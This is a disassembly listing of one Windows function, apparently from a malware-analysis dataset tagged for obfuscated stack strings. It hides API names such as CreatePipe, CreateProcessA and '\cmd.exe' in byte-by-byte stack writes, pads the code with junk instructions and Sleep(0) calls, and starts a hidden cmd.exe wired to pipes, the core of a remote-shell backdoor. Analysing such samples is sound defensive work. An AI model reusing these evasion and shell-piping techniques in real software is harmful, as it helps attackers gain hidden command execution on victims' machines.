Function at 0x4046f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40dc9c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c8
push ebx
push esi
push edi
mov dword [ebp - 0x1d4], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1d4]
call fcn.00403c80
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1d4]
mov dword [ecx], 0x40e204
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
add ecx, 0xffffffff
add ecx, 1
sub esp, 2
add esp, 2
pop ecx
add ebp, 2
dec ebp
dec ebp
mov eax, eax
push esi
je 0x404775
pop esi
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov dword [ebp - 0x50], 0
xor edx, edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x1b4], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x1b0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x154], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x153]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1d4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 0x1d4]
mov dword [edx + 0x14], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1d4]
mov dword [eax + 0x18], 0
mov ecx, dword [ebp - 0x1d4]
mov dword [ecx + 0x1c], 0
mov dword [ebp - 0x50], 0xc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x50
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0
lea edx, [ebp - 0x28]
push edx
push 0x4102a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x44], eax
push 0
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x1d4]
add ecx, 0x1c
push ecx
mov edx, dword [ebp - 0x1d4]
add edx, 0x10
push edx
call dword [ebp - 0x44]
test eax, eax
jne 0x404978
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + 0x10], 0
je 0x404957
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + 0x1c], 0
je 0x404973
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404e4e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x1d4]
add ecx, 0x14
push ecx
mov edx, dword [ebp - 0x1d4]
add edx, 0x18
push edx
call dword [ebp - 0x44]
test eax, eax
jne 0x404a16
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + 0x14], 0
je 0x4049f5
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + 0x18], 0
je 0x404a11
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404e4e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x168], 0x43
mov byte [ebp - 0x167], 0x72
mov byte [ebp - 0x166], 0x65
mov byte [ebp - 0x165], 0x61
mov byte [ebp - 0x164], 0x74
mov byte [ebp - 0x163], 0x65
mov byte [ebp - 0x162], 0x50
mov byte [ebp - 0x161], 0x72
mov byte [ebp - 0x160], 0x6f
mov byte [ebp - 0x15f], 0x63
mov byte [ebp - 0x15e], 0x65
mov byte [ebp - 0x15d], 0x73
mov byte [ebp - 0x15c], 0x73
mov byte [ebp - 0x15b], 0x41
mov byte [ebp - 0x15a], 0
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x53
mov byte [ebp - 0x38], 0x79
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x6d
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x79
mov byte [ebp - 0x2a], 0x41
mov byte [ebp - 0x29], 0
lea eax, [ebp - 0x168]
push eax
push 0x4102a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x158], eax
lea ecx, [ebp - 0x3c]
push ecx
push 0x4102a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x1d0], 0x47
mov byte [ebp - 0x1cf], 0x65
mov byte [ebp - 0x1ce], 0x74
mov byte [ebp - 0x1cd], 0x53
mov byte [ebp - 0x1cc], 0x74
mov byte [ebp - 0x1cb], 0x61
mov byte [ebp - 0x1ca], 0x72
mov byte [ebp - 0x1c9], 0x74
mov byte [ebp - 0x1c8], 0x75
mov byte [ebp - 0x1c7], 0x70
mov byte [ebp - 0x1c6], 0x49
mov byte [ebp - 0x1c5], 0x6e
mov byte [ebp - 0x1c4], 0x66
mov byte [ebp - 0x1c3], 0x6f
mov byte [ebp - 0x1c2], 0x41
mov byte [ebp - 0x1c1], 0
lea edx, [ebp - 0x1d0]
push edx
push 0x4102a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x170], eax
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x1b4]
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1b4]
push ecx
call dword [ebp - 0x170]
mov dword [ebp - 0x1b4], 0x44
mov word [ebp - 0x184], 0
mov dword [ebp - 0x188], 0x101
mov edx, dword [ebp - 0x1d4]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x1c]
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
push 0x104
lea ecx, [ebp - 0x154]
push ecx
call dword [ebp - 0x40]
mov byte [ebp - 0x1c0], 0x5c
mov byte [ebp - 0x1bf], 0x63
mov byte [ebp - 0x1be], 0x6d
mov byte [ebp - 0x1bd], 0x64
mov byte [ebp - 0x1bc], 0x2e
mov byte [ebp - 0x1bb], 0x65
mov byte [ebp - 0x1ba], 0x78
mov byte [ebp - 0x1b9], 0x65
mov byte [ebp - 0x1b8], 0
lea edx, [ebp - 0x1c0]
push edx
lea eax, [ebp - 0x154]
push eax
call fcn.00405350
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x1b4]
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x154]
push eax
call dword [ebp - 0x158]
test eax, eax
jne 0x404d72
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1d4]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404e4e
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 0x20], ecx
mov edx, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x18]
mov dword [edx + 0x24], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x16c], 0x87
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [ebp - 0x16c]
push ecx
jmp 0x414ed8
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4